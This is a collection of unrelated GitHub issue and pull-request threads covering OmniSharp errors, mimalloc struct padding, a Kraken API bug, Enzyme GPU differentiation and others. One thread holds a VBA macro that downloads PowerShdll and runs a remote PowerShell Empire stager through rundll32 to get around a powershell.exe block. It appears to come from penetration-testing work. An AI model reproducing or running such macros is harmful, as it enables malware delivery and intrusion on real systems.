ms-dotnettools.csharp: v1.23.7
OS: Mac OS 10.15.4

I found the same error in the logs. For a couple of weeks Omnisharp/VsCode behaves weird. It takes super long to show Intellisense after opening a project. Also when I change files it's not really knowing about the changes. I constantly have to restart Omnisharp to get new classes, methods to be found by Intellisense.
[info]: OmniSharp.Stdio.Host
        Starting OmniSharp on MacOS 11.0.1 (x64)
[info]: OmniSharp.Services.DotNetCliService
        DotNetPath set to dotnet
[info]: OmniSharp.MSBuild.Discovery.MSBuildLocator
        Located 1 MSBuild instance(s)
            1: StandAlone 16.8.0 - "/Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild/Current/Bin"
[info]: OmniSharp.MSBuild.Discovery.MSBuildLocator
        MSBUILD_EXE_PATH environment variable set to '/Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild/Current/Bin/MSBuild.exe'
[info]: OmniSharp.MSBuild.Discovery.MSBuildLocator
        Registered MSBuild instance: StandAlone 16.8.0 - "/Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild/Current/Bin"
            CscToolExe = csc.exe
            MSBuildToolsPath = /Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild/Current/Bin
            CscToolPath = /Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild/Current/Bin/Roslyn
            BypassFrameworkInstallChecks = true
            MSBuildExtensionsPath = /Users/andi/.vscode/extensions/ms-dotnettools.csharp-1.23.7/.omnisharp/1.37.4/omnisharp/.msbuild
[info]: OmniSharp.Cake.CakeProjectSystem
        Detecting Cake files in '/Users/andi/repos/integration-service'.
[info]: OmniSharp.Cake.CakeProjectSystem
        Could not find any Cake files
[info]: OmniSharp.MSBuild.ProjectSystem
        Detecting projects in '/Users/andi/repos/integration-service/IntegrationService.sln'.
[info]: OmniSharp.MSBuild.ProjectManager
        Queue project update for '/Users/andi/repos/integration-service/Source/IntegrationService.csproj'
[info]: OmniSharp.MSBuild.ProjectManager
        Queue project update for '/Users/andi/repos/integration-service/Tests/Tests.csproj'
[info]: OmniSharp.Script.ScriptProjectSystem
        Detecting CSX files in '/Users/andi/repos/integration-service'.
[info]: OmniSharp.Script.ScriptProjectSystem
        Found 1 CSX files.
[info]: OmniSharp.Script.ScriptContextProvider
        Searching for compilation dependencies with the fallback framework of 'net461'.
[fail]: OmniSharp.Script.ScriptContextProvider
        Failed to resolve compilation dependencies
[info]: OmniSharp.Script.ScriptContextProvider
        Unable to find dependency context for CSX files. Will default to non-context usage (Desktop CLR scripts).
[info]: OmniSharp.MSBuild.ProjectManager
        Loading project: /Users/andi/repos/integration-service/Source/IntegrationService.csproj
[info]: OmniSharp.Script.ScriptProjectSystem
        Added CSX project '/Users/andi/repos/integration-service/GraphQlGeneration/main.csx' to the workspace.
[info]: OmniSharp.WorkspaceInitializer
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.CSharpFormattingWorkspaceOptionsProvider, Order: 0
[info]: OmniSharp.WorkspaceInitializer
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.Completion.CompletionOptionsProvider, Order: 0
[info]: OmniSharp.WorkspaceInitializer
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.RenameWorkspaceOptionsProvider, Order: 100
[info]: OmniSharp.WorkspaceInitializer
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.ImplementTypeWorkspaceOptionsProvider, Order: 110
[info]: OmniSharp.WorkspaceInitializer
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.BlockStructureWorkspaceOptionsProvider, Order: 140
[info]: OmniSharp.WorkspaceInitializer
        Configuration finished.
[info]: OmniSharp.Stdio.Host
        Omnisharp server running using Stdio at location '/Users/andi/repos/integration-service' on host 63095.
[info]: OmniSharp.MSBuild.ProjectManager
        Successfully loaded project file '/Users/andi/repos/integration-service/Source/IntegrationService.csproj'.
[info]: OmniSharp.MSBuild.ProjectManager
        Adding project '/Users/andi/repos/integration-service/Source/IntegrationService.csproj'
[info]: OmniSharp.MSBuild.ProjectManager
        Loading project: /Users/andi/repos/integration-service/Tests/Tests.csproj
[info]: OmniSharp.MSBuild.ProjectManager
        Successfully loaded project file '/Users/andi/repos/integration-service/Tests/Tests.csproj'.
[info]: OmniSharp.MSBuild.ProjectManager
        Adding project '/Users/andi/repos/integration-service/Tests/Tests.csproj'
[info]: OmniSharp.MSBuild.ProjectManager
        Update project: IntegrationService
[info]: OmniSharp.MSBuild.ProjectManager
        Update project: Tests
[info]: OmniSharp.Roslyn.CSharp.Services.Diagnostics.CSharpDiagnosticWorkerWithAnalyzers
        Solution initialized -> queue all documents for code analysis. Initial document count: 227.
[fail]: OmniSharp.Stdio.Host
        ************  Response ************
{
  "Request_seq": 27,
  "Command": "/signatureHelp",
  "Running": true,
  "Success": false,
  "Message": "\"System.NullReferenceException: Object reference not set to an instance of an object\\n  at OmniSharp.Roslyn.CSharp.Services.Signatures.SignatureHelpService.GetInvocation (Microsoft.CodeAnalysis.Document document, OmniSharp.Models.Request request) [0x00290] in <c493f321fca8478bbe7c2ef26f130abe>:0 \\n  at OmniSharp.Roslyn.CSharp.Services.Signatures.SignatureHelpService.Handle (OmniSharp.Models.SignatureHelp.SignatureHelpRequest request) [0x000b2] in <c493f321fca8478bbe7c2ef26f130abe>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].GetFirstNotEmptyResponseFromHandlers (OmniSharp.Endpoint.Exports.ExportHandler`2[TRequest,TResponse][] handlers, TRequest request) [0x00099] in <aaf86da86f304b6b94e047bd2ef6a112>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].HandleRequestForLanguage (System.String language, TRequest request, OmniSharp.Protocol.RequestPacket packet) [0x00163] in <aaf86da86f304b6b94e047bd2ef6a112>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].Process (OmniSharp.Protocol.RequestPacket packet, OmniSharp.Endpoint.LanguageModel model, Newtonsoft.Json.Linq.JToken requestObject) [0x0024b] in <aaf86da86f304b6b94e047bd2ef6a112>:0 \\n  at OmniSharp.Stdio.Host.HandleRequest (System.String json, Microsoft.Extensions.Logging.ILogger logger) [0x000e7] in <ab8b07d70c7f4d85abed0e6d23dcd5cd>:0 \"",
  "Body": null,
  "Seq": 70,
  "Type": "response"
}

Any solution for this?


Telemetry: Use Azure Application Insights

Simplify our events; move some data to common properties included with
each event.
For now, manually serialize individual events to dictionaries. We can
overhaul this in master.
Use the same approach as dotnet, VS, VScode, etc for getting MAC address
hashes. Using code from dotnet/cli.

TODO

[x] Add some namespacing to event names

Will update this after the master version is reviewed and merged.

The App Insights SDK is supposed to be non-blocking, but I noticed the dotnet CLI keeps tracking requests on a separate thread (https://github.com/dotnet/cli/blob/v2.1.301/src/dotnet/Telemetry/Telemetry.cs#L73). Building the properties dictionary doesn't seem expensive so I'm not sure what the point is. I can inquire, though.
In any event, I removed our backoff/retry implementation since the SDK should be handling this.


Necessary to append padding in struct mi_page_s?

In file include/mimalloc-types.h, struct mi_page_s is defined as following:
...
// improve page index calculation
#if MI_INTPTR_SIZE==8
  //void*                 padding[1];        // 10 words on 64-bit
#elif MI_INTPTR_SIZE==4
  void*                 padding[1];          // 12 words on 32-bit
#endif

I wonder if it is necessary to append member padding. Can it be replaced with compiler extensions such as  __attribute__((aligned(x)) or _declspec(align(#) instead?

Yes, that would be nice but there is no easy portable way to do this. For now this is fine as the structure will not change.

@daanx I think the padding comments are incorrect. sizeof(mi_page_t) is 88 bytes (11 words) on 64-bit systems. I think it's currently 13 words (with padding) on 32-bit systems.
Out of curiosity, does the padding improve any benchmarks?


Warn about npm install attempt without the electron flags

https://github.com/zeit/hyperterm/blob/master/scripts/install.sh#L3-L11
We can probably do a preinstall that warns for example if npm_config_disturl is not electron?

It's probably a good idea to create a per-project config file .npmrc that has all the necessary configurations set. For example it could have these settings that would be used each time npm is used:
hyperterm/.npmrc
arch = x64
disturl = https://atom.io/download/atom-shell
runtime = electron
target = 1.2.5
build_from_source = true

Then you would be able to remove the hyperterm/scripts/install.sh script.

Since .install.sh got removed, is this still an issue?

Feel free to reopen if this is still an issue


Unable to Adjust Settings

I get the following error and can no longer use HomeKit to control my device.
 Give the new "@next" version a try that is mentioned here.
If the most recent version does not fix this, please reopen the task and follow the instructions again at  https://github.com/grivkees/homebridge-carrier-infinity/wiki/Development#investigating-carrier-api-responses again, but instead of sharing 'config' or 'status', can you share the 'locations' file?


[kraken] Failing to subscribe to websocket API - Unsupported field error

The Kraken streaming API doesn't work for a number of subscriptions.  Using the below code works perfectly fine for other exchanges but gives a consistent error for Kraken
Code
exchange = StreamingExchangeFactory.INSTANCE.createExchange(KrakenStreamingExchange.class.getName());

exchange.connect().blockingAwait();

Disposable sub = exchange.getStreamingMarketDataService()
                .getOrderBook(CurrencyPair.BTC_USD)
                .subscribe(orderBook -> LOG.info("Order book: {}", orderBook));

Error/logs
01:38:23.437 [main] INFO  info.bitrich.xchangestream.kraken.KrakenStreamingService - Subscribing to channel book-BTC/USD
01:38:23.475 [nioEventLoopGroup-2-1] INFO  info.bitrich.xchangestream.kraken.KrakenStreamingService - System status: KrakenSystemStatus{connectionID='18409444206880552937', event='systemStatus', status='online', version='1.0.1'}
01:38:23.668 [nioEventLoopGroup-2-1] ERROR info.bitrich.xchangestream.kraken.KrakenStreamingService - Channel book-BTC/USD has been failed: Unsupported field: 'error' for the given msg type: subscribe

Hmm, looks like the socket's sending an error back from the subscribe request and KrakenStreamingExchange doesn't know how to interpret it.  That's hiding the real cause of the error.

Indeed, the serialized subscription message has an 'error' field which is not part of the spec, and also a couple of null fields which causes it to fail

The Kraken Spec is unreliable, and you need to look at the Futures API as well as the spot API

Is this issue still relevant?, the code above seems to match to what's happening in KrakenManualExample and that example seems to work fine.
If this is still happening it would be great if the actual message could be reported back here to it can be added to the testsuite.

Fix was merged in


test_remote_timeline_client_calls_started_metric is flaky

(@problame is taking over editing of this issue description)
### Tasks
- [x] initial investigation / reproduction
- [ ] increase debug logging to get full picture of layer map contents at GC time
- [ ] resume investigation with debug logging

### Impl
- [ ] https://github.com/neondatabase/neon/pull/6911

Comparing a good run with a bad run (with debug logging enabled).
The good run has additional layers


Stringification of Regexp

This should be the last yak for the URI gem (I'm going to ignore #1579 for now, that issue is only related to the kind of weird/irrelevant specs of this module). It does need some more specs though.

This should be it, it has some additional tests, and the code got simplified too


Execute PowerShdll from VBA macro

First of all: thanks for this awesome project!
I'm trying to execute PowerShdll via a VBA macro (client blocks powershell.exe, and I want an Empire agent), by first downloading the dll (DownloadDLL()) and then executing the downloaded PowerShdll.dll by letting it downloading a script to execute (Empire stager). This works when I execute StrCmd in a cmd.exe, but does not work when executing it via the following VBA script:
Public Function Debugging() As Variant
    DownloadDLL
    Dim StrCmd As String
    StrCmd = "C:\Windows\System32\rundll32.exe C:\Temp\PowerShdll.dll,main . { iwr -useb https://cl.ly/kgIa/stager.ps1 } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create StrCmd, Null, objConfig, intProcessID
End Function

Sub DownloadDLL()

    Dim myURL As String
    myURL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", myURL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "C:\Temp\PowerShdll.dll", 2
        oStream.Close
    End If

End Sub

This results in the following error message:

Problem signature:
  Problem Event Name:	CLR20r3
  Problem Signature 01:	rundll32.exe
  Problem Signature 02:	6.3.9600.17415
  Problem Signature 03:	54504eb8
  Problem Signature 04:	mscorlib
  Problem Signature 05:	4.0.30319.36366
  Problem Signature 06:	57a0f7f9
  Problem Signature 07:	4528
  Problem Signature 08:	9a
  Problem Signature 09:	System.IO.IOException
  OS Version:	6.3.96<IP_ADDRESS>.272.7
  Locale ID:	1033
  Additional Information 1:	6ebd
  Additional Information 2:	6ebd833e076778d4646eaf22a3f76243
  Additional Information 3:	e34d
  Additional Information 4:	e34d4e50642e55705797b1cdfa61a4c5

Any clue as to how I can fix this? Thanks in advance!

I think I understand the problem. I used a trick to show the command output inside the current shell.
Basically, it steals the calling process' console and writes to it. In this context there is no shell so it will not work.
I will add an option to not show output.

I added the -n switch to not redirect output. Should be ok now.

Thanks! It works now, also without the -n switch.

I moved the console hijacking bit after the script execution, so I assume it would crash after the command has been executed.


Add Basic Authorization

Give the possibility to set basic authorization to access the rtsp
stream. OPTIONS request are excluded from the authorization process and
are always available even without credentials.
Simply call
rtspServer.setAuthorization("username","password");

to activate Basic authorization.
Once Basic authorization is activated the stream is no longer available without username and password. (VLC will ask for them).
The stream can be requested with an uri like :  rtsp://user:password@host:port

Thanks!


Automator: update proxy@master in istio/istio@master

Generated by Automator - 2020-12-14T23:26:28+00:00

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-multicluster-tests_istio
43f224657f025b26ac3b883c74aac61186350150
link
/test integ-pilot-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


[PyTorch] Upgrade to Pylint 3.3.1 in lint test

Description
We have experienced failures in the linter since Pylint 2.13.5 doesn't support Python 3.12 (see https://github.com/pylint-dev/astroid/issues/2201, https://github.com/pylint-dev/pylint/issues/8782). This can be fixed by upgrading to Pylint 3.3.1, but that also introduces several new checks. This PR fixes those issues, with no substantial functional changes.
Type of change

[ ] Documentation change (change only to the documentation, either a fix or a new content)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Infra/Build change
[ ] Code refractor
[x] Testing

Changes

Upgrade to Pylint 3.3.1 in PyTorch lint test
Fix linter warnings from Pylint 3.3.1

Checklist:

[x] I have read and followed the contributing guidelines
[x] The functionality is complete
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes

/te-ci pytorch

Duplicates #1257


Enzyme on KA kernel

Is Enzyme supposed to differentiate through KA kernels ? I wanted to try it on this simple exemple and I get an error GPU compilation of MethodInstance for (::GPUArrays.var"#34#36")(::CUDA.CuKernelContext, ::CuDeviceVector{…}, ::Base.Broadcast.Broadcasted{…}, ::Int64) failed KernelError: passing and using non-bitstype argument
using KernelAbstractions,CUDA
using DifferentiationInterface
import Enzyme
bck = AutoEnzyme(mode=Enzyme.Reverse)
uin() = 0.0
uout() = 0.0
@kernel inbounds=true function diffkernel!(du, u)
    i = @index(Global, Linear)
    if i == 1
        ug = uin()
        ud = u[i+1]
    elseif i == length(u)
        ug = u[i-1]
        ud = uout()
    else
        ug = u[i-1]
        ud = u[i+1]
    end
    du[i] = ug + ud -2*u[i]
end
function Diffusion(u)
    bck_kernel = get_backend(u)
    du = zero(u)
    ker = diffkernel!(bck_kernel)
    ker(du, u, ndrange=length(du))
    return du
end
u = CUDA.rand(1000)
jacobian(Diffusion, bck,u)

Also, in forward, I get the error Scalar indexing is disallowed. Invocation of setindex! resulted in scalar indexing of a GPU array. This is typically caused by calling an iterating implementation of a method. Such implementations *do not* execute on the GPU, but very slowly on the CPU, and therefore should be avoided.

It does explicitly support KA.
Can you post a MWE without DifferentiationInterface?

Yes, here it is
using KernelAbstractions,CUDA
import Enzyme
uin() = 0.0
uout() = 0.0
@kernel inbounds=true function diffkernel!(du, u)
    i = @index(Global, Linear)
    if i == 1
        ug = uin()
        ud = u[i+1]
    elseif i == length(u)
        ug = u[i-1]
        ud = uout()
    else
        ug = u[i-1]
        ud = u[i+1]
    end
    du[i] = ug + ud -2*u[i]
end
function Diffusion(u)
    bck_kernel = get_backend(u)
    du = zero(u)
    ker = diffkernel!(bck_kernel)
    ker(du, u, ndrange=length(du))
    return du
end
u = CUDA.rand(1000)
Enzyme.jacobian(Enzyme.Reverse, Diffusion, u)
Enzyme.jacobian(Enzyme.Forward, Diffusion, u)

Same errors (takes a lot more times to throw for some reason). I don't remember how to make a jacobian from autodiff which is why I stayed on high level jacobian.

works like a charm on cpu btw
using KernelAbstractions,CUDA
import Enzyme
uin() = 0.0f0
uout() = 0.0f0
@kernel inbounds=true function diffkernel!(du, u)
    i = @index(Global, Linear)
    if i == 1
        ug = uin()
        ud = u[i+1]
    elseif i == length(u)
        ug = u[i-1]
        ud = uout()
    else
        ug = u[i-1]
        ud = u[i+1]
    end
    du[i] = ug + ud -2*u[i]
end
function Diffusion(u)
    bck_kernel = get_backend(u)
    du = zero(u)
    ker = diffkernel!(bck_kernel)
    ker(du, u, ndrange=length(du))
    return du
end
u = rand(Float32,100)
Enzyme.jacobian(Enzyme.Forward, Diffusion, u)
Enzyme.jacobian(Enzyme.Reverse, Diffusion, u)

the reverse error I tjhink is a 1.11 issue, can you try 1.10?
For forward mode, it looks like we just ought add a onehot implementation for a CuArray

Try with this? https://github.com/EnzymeAD/Enzyme.jl/pull/2204

new one hehe
ERROR: type CachedMethodTable has no field world
Stacktrace:
 [1] getproperty
   @ .\Base.jl:37 [inlined]
 [2] lookup_world
   @ C:\Users\yolha\.julia\packages\Enzyme\rwEsE\src\utils.jl:222 [inlined]
 [3] my_methodinstance
   @ C:\Users\yolha\.julia\packages\Enzyme\rwEsE\src\utils.jl:252 [inlined]
 [4] my_methodinstance (repeats 2 times)
   @ C:\Users\yolha\.julia\packages\Enzyme\rwEsE\src\utils.jl:267 [inlined]
 [5] tape_type(::GPUCompiler.CompilerJob{…}, ::ReverseModeSplit{…}, ::Type{…}, ::Type{…}, ::Type{…}, ::Type{…}, ::Type{…})
   @ Enzyme C:\Users\yolha\.julia\packages\Enzyme\rwEsE\src\Enzyme.jl:1249
 [6] _create_tape_kernel(::KernelAbstractions.Kernel{…}, ::ReverseModeSplit{…}, ::Type, ::Type, ::Tuple{…}, ::KernelAbstractions.NDIteration.NDRange{…}, ::Duplicated{…}, ::Vararg{…})
   @ EnzymeExt C:\Users\yolha\.julia\packages\KernelAbstractions\0r40T\ext\EnzymeCore08Ext.jl:97
 [7] #augmented_primal#7
   @ C:\Users\yolha\.julia\packages\KernelAbstractions\0r40T\ext\EnzymeCore08Ext.jl:255
Some type information was truncated. Use `show(err)` to see complete types.

pushed again, retry?

I still get the same error for now, maybe I need to gc some stuff wait a sec

ok so back to scalar indexing even in reverse
LoadError: Scalar indexing is disallowed.
Invocation of getindex resulted in scalar indexing of a GPU array.
This is typically caused by calling an iterating implementation of a method.
Such implementations *do not* execute on the GPU, but very slowly on the CPU,
and therefore should be avoided.

If you want to allow scalar iteration, use `allowscalar` or `@allowscalar`
to enable scalar iteration globally or for the operations in question.